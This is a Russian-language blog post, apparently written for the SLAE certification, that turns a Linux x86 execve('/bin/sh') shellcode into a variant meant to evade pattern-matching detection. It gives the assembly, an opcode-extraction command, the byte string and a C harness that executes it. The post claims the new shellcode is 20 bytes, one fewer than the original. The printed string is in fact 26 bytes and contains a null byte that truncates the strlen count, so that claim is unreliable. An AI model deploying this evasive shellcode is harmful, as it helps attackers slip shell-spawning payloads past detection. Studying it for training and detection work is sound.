Этот пост является третьей и последней частью полиморфной версии шелл-кодов (Linux x86) в соответствии с требованиями сертификационного экзамена SLAE № 6.
Возьмите 3 шелл-кода из Shell Storm и создайте их полиморфную версию, чтобы превзойти сопоставление с образцом. Полиморфная версия не может превышать 150 % существующего шелл-кода
Мы используем приведенный ниже код с сайта shellstorm.org.
Дизассемблированный код выглядит так
push 0xb pop eax cdq push edx push 0x68732f2f push 0x6e69622f mov ebx,esp xor ecx,ecx int 0x80
и это работает нормально
Немного подкорректируем код
################################## global _start _start: xor ecx,ecx push ecx push 0x68732f2f push 0x6e69622f mov ebx,esp mul ecx ; this will make eax 0 mov ax,0x2c ; to mov 0x0b in eal, moved 2c ror eax,2 ; and then ROR by 2 positions int 0x80 #################################
Давайте скомпилируем
nasm -f elf32 -o modified.o modified.nasm ld modified.o -o modified objdump -d ./modified|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xf7\xe1\x66\xb8\x2c\x00\xc1\xc8\x02\xcd\x80"
А теперь скопируйте его в эксплойт скелета
################################################### #include<stdio.h> #include<string.h> unsigned char code[] = \ "\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62" "\x69\x6e\x89\xe3\xf7\xe1\x66\xb8\x2c\x00\xc1" "\xc8\x02\xcd\x80"; /* Original Shell Code "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68" "\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"; */ main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); } ##########################################################
И время протестировать шелл-код
Оригинальный шелл-код имеет размер 21 байт, тогда как наш модифицированный шелл-код имеет размер 20 байт, что на байт меньше исходного ….. Бонусные баллы !!!!!!!!
Полный код сборки доступен в связанном репозитории git.
Git-репозиторий: https://github.com/iamr0b0t/SLAE
Это сообщение в блоге было создано для выполнения требований сертификации SecurityTube Linux Assembly Expert:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/< br /> Идентификационный номер студента: SLAE-1268